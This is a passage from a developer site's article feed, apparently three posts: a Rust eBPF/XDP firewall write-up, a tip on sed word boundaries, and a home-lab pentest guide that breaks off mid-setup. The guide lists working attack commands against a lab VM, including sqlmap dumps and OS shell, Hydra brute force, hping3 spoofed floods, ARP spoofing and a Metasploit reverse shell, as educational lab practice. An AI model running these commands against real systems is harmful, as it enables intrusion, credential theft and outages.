&lt;p&gt;Conventional Linux packet filtering utilities such as Netfilter (&lt;code&gt;iptables&lt;/code&gt; and &lt;code&gt;nftables&lt;/code&gt;) evaluate incoming frames only after the kernel has allocated a socket buffer (&lt;code&gt;sk_buff&lt;/code&gt;) descriptor and scheduled softirq processing through the core TCP/IP stack. Under multi-gigabit line-rate flood conditions (millions of packets per second), the operating system spends the vast majority of its CPU cycles simply allocating and freeing &lt;code&gt;sk_buff&lt;/code&gt; memory metadata, triggering kernel starvation and packet drop bottlenecks even before firewall rules are evaluated.&lt;/p&gt;
&lt;p&gt;To address this fundamental OS-level bottleneck, I built &lt;strong&gt;xdp-guard&lt;/strong&gt;: a production-grade, memory-safe in-kernel defense engine and per-IP rate limiter implemented strictly in &lt;strong&gt;Pure Rust&lt;/strong&gt; using the &lt;strong&gt;Aya&lt;/strong&gt; eBPF framework.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;why-ebpf-xdp-at-the-driver-layer-&quot;&gt;Why eBPF / XDP at the Driver Layer?&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;eXpress Data Path (XDP)&lt;/strong&gt; provides a programmable, bare-metal packet processing execution hook directly inside the Network Interface Card (NIC) driver subsystem before any memory descriptor allocation occurs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Conventional Path:
[NIC RX] -&amp;gt; [IRQ / SoftIRQ] -&amp;gt; [Allocate sk_buff] -&amp;gt; [Netfilter/iptables] -&amp;gt; [Socket / App]
                                      ^
                           Severe CPU Allocation Overhead

xdp-guard Path:
[NIC RX] -&amp;gt; [eBPF / XDP Driver Hook] ---&amp;gt; (Match Blocklist) ---&amp;gt; [ XDP_DROP ] (Near-Zero CPU)
                             |
                      (Match Allowlist)
                             |
                             v
                   [ Pass to OS Stack ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When hostile or unapproved packets are identified, returning &lt;code&gt;XDP_DROP&lt;/code&gt; causes the network driver to immediately recycle the packet ring buffer without allocating a single byte of kernel socket memory.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;architectural-highlights&quot;&gt;Architectural Highlights&lt;/h3&gt;
&lt;h4 id=&quot;1-zero-c-dependencies-pure-rust-&quot;&gt;1. Zero C Dependencies (Pure Rust)&lt;/h4&gt;
&lt;p&gt;Traditional eBPF tools rely heavily on C toolchains (&lt;code&gt;clang&lt;/code&gt;, &lt;code&gt;llvm&lt;/code&gt;, &lt;code&gt;libbpf&lt;/code&gt;). &lt;code&gt;xdp-guard&lt;/code&gt; is built entirely in Rust from the user-space management CLI down to the &lt;code&gt;no_std&lt;/code&gt; kernel eBPF bytecode using &lt;strong&gt;Aya&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id=&quot;2-strict-64-bit-memory-boundary-alignments&quot;&gt;2. Strict 64-Bit Memory Boundary Alignments&lt;/h4&gt;
&lt;p&gt;To ensure safe zero-copy communication across the kernel-userspace boundary, shared structures use explicit padding fields to guarantee 8-byte alignment:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct RuleValue {
    pub action: u32,       // 0 = Pass, 1 = Drop
    pub _pad: u32,         // Explicit 4-byte padding for 8-byte boundary
    pub created_at: u64,   // Monotonic timestamp
    pub ttl_secs: u64,     // Time-to-live expiration
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The presence of &lt;code&gt;_pad: u32&lt;/code&gt; is critical: it prevents architecture-specific compiler padding discrepancies and satisfies the Linux Kernel BPF Verifier.&lt;/p&gt;
&lt;h4 id=&quot;3-dynamic-bpf-virtual-filesystem-bpffs-synchronization&quot;&gt;3. Dynamic BPF Virtual Filesystem (bpffs) Synchronization&lt;/h4&gt;
&lt;p&gt;Firewall rules (blocklist and allowlist) are dynamically synchronized using pinned BPF hash maps located in &lt;code&gt;/sys/fs/bpf/xdp_guard&lt;/code&gt;. Rules can be inserted or deleted instantaneously from the CLI without tearing down network interfaces or interrupting traffic flows.&lt;/p&gt;
&lt;h4 id=&quot;4-in-kernel-token-bucket-rate-limiter&quot;&gt;4. In-Kernel Token-Bucket Rate Limiter&lt;/h4&gt;
&lt;p&gt;In addition to static blocklists, &lt;code&gt;xdp-guard&lt;/code&gt; embeds a stateful token-bucket rate limiter directly in kernel space. Monotonic arrival intervals ($\Delta t = t&lt;em&gt;{now} - t&lt;/em&gt;{last}$) are computed using nanosecond &lt;code&gt;bpf_ktime_get_ns()&lt;/code&gt; clocks, discarding over-limit burst floods at line-rate.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;empirical-verification-real-linux-kernel-telemetry&quot;&gt;Empirical Verification: Real Linux Kernel Telemetry&lt;/h3&gt;
&lt;p&gt;To validate &lt;code&gt;xdp-guard&lt;/code&gt; under realistic operating conditions, we set up an automated Linux network namespace testbed over virtual ethernet (&lt;code&gt;veth&lt;/code&gt;) pairs (&lt;code&gt;xdp_client&lt;/code&gt; at &lt;code&gt;10.10.0.2&lt;/code&gt; and &lt;code&gt;xdp_server&lt;/code&gt; at &lt;code&gt;10.10.0.1&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Telemetry streamed directly from the kernel &lt;code&gt;STATS_MAP&lt;/code&gt; array demonstrated instantaneous 100.00% packet mitigation upon inserting an attacker IP into the kernel blocklist, followed by zero-loss recovery:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;TIMESTAMP            PASSED (PKTS)   DROPPED (PKTS)  DROP RATIO     
-----------------------------------------------------------------
09:56:56 | Pass: 1        (30.2 KB) | Drop: 0        (0 B)   | Ratio: 0.00%
[!] Inserting IP 10.10.0.2 into BLOCKLIST_MAP... [SUCCESS]
09:56:57 | Pass: 0        (30.2 KB) | Drop: 1        (98 B)  | Ratio: 100.00%
09:56:58 | Pass: 0        (30.2 KB) | Drop: 1        (196 B) | Ratio: 100.00%
09:56:59 | Pass: 0        (30.2 KB) | Drop: 1        (294 B) | Ratio: 100.00%
...
09:57:55 | Pass: 0        (30.2 KB) | Drop: 1        (5.7 KB)| Ratio: 100.00%
[!] Removing IP 10.10.0.2 from BLOCKLIST_MAP... [SUCCESS]
09:57:56 | Pass: 1        (30.3 KB) | Drop: 0        (5.7 KB)| Ratio: 0.00%
09:57:57 | Pass: 1        (30.4 KB) | Drop: 0        (5.7 KB)| Ratio: 0.00%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every single drop occurred directly within the NIC driver hook, requiring zero kernel TCP/IP stack overhead.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;source-code-amp-research-paper&quot;&gt;Source Code &amp;amp; Research Paper&lt;/h3&gt;
&lt;p&gt;The complete project, documentation, and formal research paper are fully open-source:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/rahadbhuiya/xdp-guard&quot;&gt;https://github.com/rahadbhuiya/xdp-guard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Citable Zenodo DOI:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://doi.org/10.5281/zenodo.23120995&quot;&gt;10.5281/zenodo.23120995&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automated CI:&lt;/strong&gt; Continuous testing across Rust Stable and Nightly LLVM targets via GitHub Actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are working on Linux kernel systems, eBPF, or Rust networking, I would love to hear your thoughts, feedback, or suggestions!&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29624/building-a-line-rate-linux-kernel-firewall-in-pure-rust-with-aya-and-ebpf-xdp</guid>
<pubDate>Sat, 03 Oct 2026 13:29:33 +0000</pubDate>
</item>
<item>
<title>sed 's/port/listen_port/g' rewrote four lines of a four-line config</title>
<link>https://coderlegion.com/28020/sed-s-port-listenport-g-rewrote-four-lines-of-a-four-line-config</link>
<description>&lt;p&gt;A four-line YAML file (&lt;code&gt;port: 8080&lt;/code&gt;, &lt;code&gt;support_email&lt;/code&gt;, &lt;code&gt;transport: tcp&lt;/code&gt;, &lt;code&gt;report_dir: /var/reports&lt;/code&gt;) and the rename most people type first: &lt;code&gt;sed -i 's/port/listen_port/g' app.yml&lt;/code&gt;. GNU sed 4.9 exited 0 and printed nothing, because &lt;code&gt;-i&lt;/code&gt; never does. Afterwards the file held &lt;code&gt;suplisten_port_email&lt;/code&gt;, &lt;code&gt;translisten_port&lt;/code&gt; and &lt;code&gt;/var/relisten_ports&lt;/code&gt;. One line was meant to change. All four did.&lt;/p&gt;
&lt;p&gt;sed matches characters, not words. The letters p-o-r-t sit inside &lt;code&gt;support&lt;/code&gt;, &lt;code&gt;transport&lt;/code&gt; and &lt;code&gt;report&lt;/code&gt;, and &lt;code&gt;g&lt;/code&gt; replaced every occurrence. GNU sed's &lt;code&gt;\b&lt;/code&gt; word boundary fixes the match, and one pipe shows the damage before anything is written:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sed 's/\bport\b/listen_port/g' app.yml | diff app.yml -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without &lt;code&gt;-i&lt;/code&gt; the file on disk stays intact, and &lt;code&gt;diff&lt;/code&gt; prints the lines that would change. It exits 1 when it finds differences, so the same check works inside a script. Only after the diff reads right does &lt;code&gt;-i&lt;/code&gt; go back on.&lt;/p&gt;
&lt;p&gt;Two caveats before trusting &lt;code&gt;\b&lt;/code&gt;. Underscore counts as a word character, so &lt;code&gt;db_port&lt;/code&gt; stays untouched. And &lt;code&gt;\b&lt;/code&gt; is a GNU extension: BSD sed on macOS spells word boundaries &lt;code&gt;[[:&amp;lt;:]]&lt;/code&gt; and &lt;code&gt;[[:&amp;gt;:]]&lt;/code&gt;, and its &lt;code&gt;-i&lt;/code&gt; requires a suffix argument (&lt;code&gt;sed -i ''&lt;/code&gt;) where GNU's is optional.&lt;/p&gt;
&lt;p&gt;The replacement side bites too. An unescaped &lt;code&gt;&amp;amp;&lt;/code&gt; means the whole match, so &lt;code&gt;s/CEO/Smith &amp;amp; Sons/&lt;/code&gt; produces &lt;code&gt;Smith CEO Sons&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The bulk-replace script, with a &lt;code&gt;grep -rl&lt;/code&gt; file list, per-file diff and an &lt;code&gt;--apply&lt;/code&gt; gate that fails toward reading, is on the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/bash-sed-find-replace&quot;&gt;sed find-and-replace snippet page&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28020/sed-s-port-listenport-g-rewrote-four-lines-of-a-four-line-config</guid>
<pubDate>Thu, 01 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)</title>
<link>https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</link>
<description>&lt;p&gt;Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.&lt;/p&gt;
&lt;p&gt;A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).&lt;/p&gt;
&lt;p&gt;You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;My name is Elijah Abolaji, and I developed this guide for educational purposes only.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ Legal &amp;amp; Ethical Ground Rules&lt;/p&gt;
&lt;p&gt;Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.&lt;/p&gt;
&lt;p&gt;Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.&lt;/p&gt;
&lt;p&gt;Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done &quot;just to learn.&quot; Keep this lab air-gapped from anything else.&lt;br&gt;
️ Hardware Requirements&lt;/p&gt;
&lt;p&gt;For a smooth-running lab, you'll need a computer with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4-core processor

16GB RAM

SSD storage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything below this still works, but not efficiently.&lt;/p&gt;
&lt;p&gt;️ Step 1: Install VirtualBox&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 2: Download &amp;amp; Install Kali Linux (Attacker)&lt;/p&gt;
&lt;p&gt;What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 3: Download &amp;amp; Install Ubuntu Server (Target)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM &quot;Ubuntu-Target&quot; (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 4: Building the Isolated Lab Network&lt;/p&gt;
&lt;p&gt;This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 5: Reconnaissance &amp;amp; Scanning (from Kali)&lt;/p&gt;
&lt;p&gt;Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).&lt;/p&gt;
&lt;p&gt;Goal: Find out what's alive on the network and which ports/services are open before touching anything.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;host-discovery-amp-port-scanning&quot;&gt;Host discovery &amp;amp; port scanning&lt;/h2&gt;
&lt;p&gt;nmap 192.168.100.0/24           # scan the subnet&lt;br&gt;
nmap -sn 192.168.100.0/24       # ping sweep&lt;br&gt;
nmap -p- 192.168.100.20         # all 65535 ports&lt;br&gt;
sudo nmap -sS 192.168.100.20    # SYN stealth scan&lt;/p&gt;
&lt;h2 id=&quot;service-amp-os-detection&quot;&gt;Service &amp;amp; OS detection&lt;/h2&gt;
&lt;p&gt;sudo nmap -A 192.168.100.20     # OS, version, scripts&lt;br&gt;
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports&lt;br&gt;
sudo nmap -O 192.168.100.20     # OS fingerprinting&lt;/p&gt;
&lt;h2 id=&quot;nmap-scripting-engine-nse-&quot;&gt;Nmap Scripting Engine (NSE)&lt;/h2&gt;
&lt;p&gt;nmap --script vuln 192.168.100.20&lt;br&gt;
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20&lt;br&gt;
nmap -p 80 --script http-enum,http-headers 192.168.100.20&lt;/p&gt;
&lt;p&gt;Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.&lt;br&gt;
 Step 6: Web Enumeration&lt;/p&gt;
&lt;p&gt;Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;directory-brute-forcing&quot;&gt;Directory brute-forcing&lt;/h2&gt;
&lt;p&gt;gobuster dir -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/wordlists/dirb/common.txt&lt;br&gt;
feroxbuster -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt&lt;/p&gt;
&lt;h2 id=&quot;automated-amp-manual-scanning&quot;&gt;Automated &amp;amp; manual scanning&lt;/h2&gt;
&lt;p&gt;nikto -h &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;       # automated vulnerability scanner&lt;br&gt;
curl -i &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;        # view response headers&lt;br&gt;
curl -X POST -d &quot;id=1&quot; &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/vulnerable.php&quot;&gt;http://192.168.100.20/vulnerable.php&lt;/a&gt;&lt;br&gt;
burpsuite                            # launch the Burp Suite proxy (GUI)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 7: SQL Injection with SQLmap&lt;/p&gt;
&lt;p&gt;Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;basic-usage&quot;&gt;Basic usage&lt;/h2&gt;
&lt;p&gt;sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --batch&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --dbs&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva --tables&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;using-a-captured-request-with-auth-cookies-&quot;&gt;Using a captured request (with auth cookies)&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --dbs&lt;br&gt;
sqlmap -r request.txt --batch -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;advanced-options&quot;&gt;Advanced options&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --level=5 --risk=3   # more thorough&lt;br&gt;
sqlmap -r request.txt --batch --os-shell           # attempt OS shell&lt;br&gt;
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass&lt;/p&gt;
&lt;p&gt; Step 8: Password Attacks&lt;/p&gt;
&lt;p&gt;Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;hydra---online-brute-force&quot;&gt;Hydra - online brute force&lt;/h2&gt;
&lt;p&gt;hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V&lt;br&gt;
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20&lt;br&gt;
hydra -L users.txt -P pass.txt http-post-form &quot;/login:user=^USER^&amp;amp;pass=^PASS^:Invalid&quot;&lt;/p&gt;
&lt;h2 id=&quot;john-the-ripper---offline-cracking&quot;&gt;John the Ripper - offline cracking&lt;/h2&gt;
&lt;p&gt;john --wordlist=rockyou.txt hashes.txt&lt;br&gt;
john --format=raw-md5 --wordlist=rockyou.txt hash.txt&lt;/p&gt;
&lt;h2 id=&quot;hashcat---gpu-cracking&quot;&gt;Hashcat - GPU cracking&lt;/h2&gt;
&lt;p&gt;hashcat -m 0 hash.txt rockyou.txt      # MD5&lt;br&gt;
hashcat -m 1000 hash.txt rockyou.txt   # NTLM&lt;/p&gt;
&lt;p&gt;Tool	Best for&lt;br&gt;
Hydra	Live login attempts against a running service (SSH, web forms)&lt;br&gt;
John the Ripper	Cracking a password hash you already have, CPU-based&lt;br&gt;
Hashcat	Cracking hashes fast using your GPU&lt;br&gt;
 Step 9: Denial of Service (DoS) Testing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before you start: hping3 ships with Kali by default. Install anything missing:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo apt install -y hping3 slowhttptest apache2-utils&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;h2 id=&quot;hping3---flood-attacks&quot;&gt;hping3 - flood attacks&lt;/h2&gt;
&lt;p&gt;sudo hping3 -S --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --udp --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --icmp --flood 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;slowhttptest---application-layer&quot;&gt;slowhttptest - application-layer&lt;/h2&gt;
&lt;p&gt;slowhttptest -B -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow POST&lt;br&gt;
slowhttptest -R -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow Read&lt;/p&gt;
&lt;h2 id=&quot;apache-benchmark---load-testing&quot;&gt;Apache Benchmark - load testing&lt;/h2&gt;
&lt;p&gt;ab -n 10000 -c 500 &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds&lt;br&gt;
️ Step 10: Sniffing &amp;amp; Man-in-the-Middle&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;packet-capture&quot;&gt;Packet capture&lt;/h2&gt;
&lt;p&gt;wireshark                                   # packet capture GUI&lt;br&gt;
sudo tcpdump -i eth0 -w capture.pcap&lt;br&gt;
sudo tcpdump -i eth0 port 80 -A&lt;br&gt;
sudo tcpdump -i eth0 host 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;arp-spoofing-amp-mitm-frameworks&quot;&gt;ARP spoofing &amp;amp; MITM frameworks&lt;/h2&gt;
&lt;p&gt;sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1&lt;br&gt;
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20&lt;/p&gt;
&lt;p&gt;sudo ettercap -G                            # GUI&lt;br&gt;
sudo bettercap -iface eth0&lt;/p&gt;
&lt;p&gt;How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.&lt;br&gt;
 Step 11: Metasploit Framework&lt;/p&gt;
&lt;p&gt;Goal: Move from &quot;this service looks vulnerable&quot; to an actual working exploit against the Ubuntu target, using a pre-built module.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo msfconsole&lt;/p&gt;
&lt;p&gt;Inside msfconsole:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;search ssh_login&lt;br&gt;
use auxiliary/scanner/ssh/ssh_login&lt;br&gt;
set RHOSTS 192.168.100.20&lt;br&gt;
set USERNAME testuser&lt;br&gt;
set PASSWORD password123&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt;Reverse shell example:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;use exploit/multi/handler&lt;br&gt;
set PAYLOAD linux/x64/meterpreter/reverse_tcp&lt;br&gt;
set LHOST 192.168.100.10&lt;br&gt;
set LPORT 4444&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt; Step 12: Snapshot Management (VBoxManage)&lt;/p&gt;
&lt;p&gt;Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;VBoxManage list vms&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; take &quot;Snapshot-Name&quot; --description &quot;Description&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; list&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; restore &quot;Snapshot-Name&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; delete &quot;Snapshot-Name&quot;&lt;/p&gt;
&lt;h2 id=&quot;vm-power-control&quot;&gt;VM power control&lt;/h2&gt;
&lt;p&gt;VBoxManage startvm &quot;Kali&quot; --type headless&lt;br&gt;
VBoxManage controlvm &quot;Kali&quot; poweroff&lt;/p&gt;
&lt;p&gt;⚙️ Part 2: Ubuntu Target Configuration&lt;/p&gt;
&lt;p&gt;Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.&lt;br&gt;
Network &amp;amp; Service Configuration&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;network-configuration&quot;&gt;Network configuration&lt;/h2&gt;
&lt;p&gt;ip a                                    # check interfaces&lt;br&gt;
sudo nano /etc/netplan/01-netcfg.yaml   # static IP config&lt;br&gt;
sudo netplan apply                      # apply changes&lt;br&gt;
sudo netplan try                        # test, auto-rollback if it fails&lt;br&gt;
ping -c 3 192.168.100.10                # verify Kali is reachable&lt;/p&gt;
&lt;h2 id=&quot;service-management&quot;&gt;Service management&lt;/h2&gt;
&lt;p&gt;sudo systemctl restart apache2&lt;br&gt;
sudo systemctl restart ssh&lt;br&gt;
sudo systemctl restart mariadb&lt;/p&gt;
&lt;p&gt;sudo systemctl status apache2&lt;br&gt;
sudo systemctl status ssh&lt;br&gt;
sudo systemctl status mariadb&lt;/p&gt;
&lt;h2 id=&quot;check-listening-ports&quot;&gt;Check listening ports&lt;/h2&gt;
&lt;p&gt;ss -tlnp&lt;br&gt;
sudo netstat -tlnp&lt;/p&gt;
&lt;p&gt;SSH Server Setup&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;install-amp-enable&quot;&gt;Install &amp;amp; enable&lt;/h2&gt;
&lt;p&gt;sudo apt update&lt;br&gt;
sudo apt install -y openssh-server&lt;br&gt;
sudo systemctl enable --now ssh&lt;br&gt;
sudo systemctl status ssh&lt;/p&gt;
&lt;h2 id=&quot;create-a-test-account-amp-review-config&quot;&gt;Create a test account &amp;amp; review config&lt;/h2&gt;
&lt;p&gt;sudo adduser testuser                   # for Hydra practice&lt;br&gt;
sudo nano /etc/ssh/sshd_config&lt;/p&gt;
&lt;p&gt;Key options to inspect:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;PermitRootLogin no&lt;br&gt;
PasswordAuthentication yes&lt;br&gt;
Port 22&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MariaDB / MySQL Setup&lt;/p&gt;
&lt;p&gt;Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: &lt;a rel=&quot;nofollow&quot; href=&quot;http://target-ip/DVWA&quot;&gt;http://target-ip/DVWA&lt;/a&gt;&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo mysql -u root&lt;/p&gt;
&lt;p&gt;Inside MySQL:&lt;br&gt;
sql&lt;/p&gt;
&lt;p&gt;CREATE DATABASE dwva;&lt;br&gt;
